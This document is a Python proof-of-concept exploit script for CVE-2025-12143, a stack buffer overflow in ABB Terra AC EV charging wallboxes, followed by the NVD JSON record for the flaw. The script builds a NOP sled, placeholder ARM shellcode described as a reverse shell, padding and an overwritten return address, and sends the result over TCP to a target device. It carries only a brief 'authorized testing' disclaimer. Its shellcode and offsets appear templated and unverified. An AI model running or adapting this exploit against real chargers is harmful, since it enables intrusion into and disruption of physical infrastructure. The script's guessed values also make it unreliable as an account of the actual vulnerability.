CVE-2025-12143

# CVE-2025-12143 PoC - ABB Terra AC Buffer Overflow # Target: ABB Terra AC Wallbox <= 1.8.33 # Note: This PoC is for educational and authorized testing only import socket import struct def create_exploit_payload(): """ Create buffer overflow payload for ABB Terra AC Adjust offset and shellcode based on target firmware version """ # Target IP and port (typical Terra AC management port) target_ip = "192.168.1.100" target_port = 8080 # Buffer overflow parameters buffer_size = 1024 return_address_offset = 256 # Create NOP sled for reliability nop_sled = b'\x90' * 100 # Shellcode for command execution (example: reverse shell) # ARM/ARM64 shellcode for embedded Linux device shellcode = ( b'\x01\x60\x8f\xe2' # Adjust register context b'\x13\xff\x2f\xe1' # SWI instruction b'\x00\x00\x00\x00' # Placeholder for actual shellcode ) # Padding to reach offset padding = b'A' * (return_address_offset - len(nop_sled) - len(shellcode)) # Overwrite return address (address in NOP sled or shellcode) return_address = struct.pack('<I', 0x00011000) # Adjust based on actual firmware # Additional padding to overflow buffer extra_padding = b'B' * (buffer_size - return_address_offset - len(return_address)) # Combine payload payload = nop_sled + shellcode + padding + return_address + extra_padding return payload def send_exploit(target_ip, target_port): """Send exploit payload to target""" try: payload = create_exploit_payload() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Sending payload to {target_ip}:{target_port}") print(f"[*] Payload size: {len(payload)} bytes") sock.send(payload) response = sock.recv(1024) print(f"[*] Response received: {len(response)} bytes") sock.close() return True except Exception as e: print(f"[!] Error: {str(e)}") return False if __name__ == "__main__": print("CVE-2025-12143 PoC - ABB Terra AC Buffer Overflow") print("=" * 50) print("WARNING: For authorized testing only!") print("=" * 50) # Configuration target = "192.168.1.100" # Change to target IP port = 8080 # Change to target port send_exploit(target, port)

{"cve": {"id": "CVE-2025-12143", "sourceIdentifier": "[email protected]", "published": "2025-11-28T12:16:03.350", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stack-based Buffer Overflow vulnerability in ABB Terra AC wallbox.This issue affects Terra AC wallbox: through 1.8.33."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:N/R:A/V:D/RE:L/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NEGLIGIBLE", "Automatable": "NO", "Recovery": "AUTOMATIC", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "LOW", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://search.abb.com/library/Download.aspx?DocumentID=9AKK108471A8107&LanguageCode=en&DocumentPartId=&Action=Launch", "source": "[email protected]"}]}}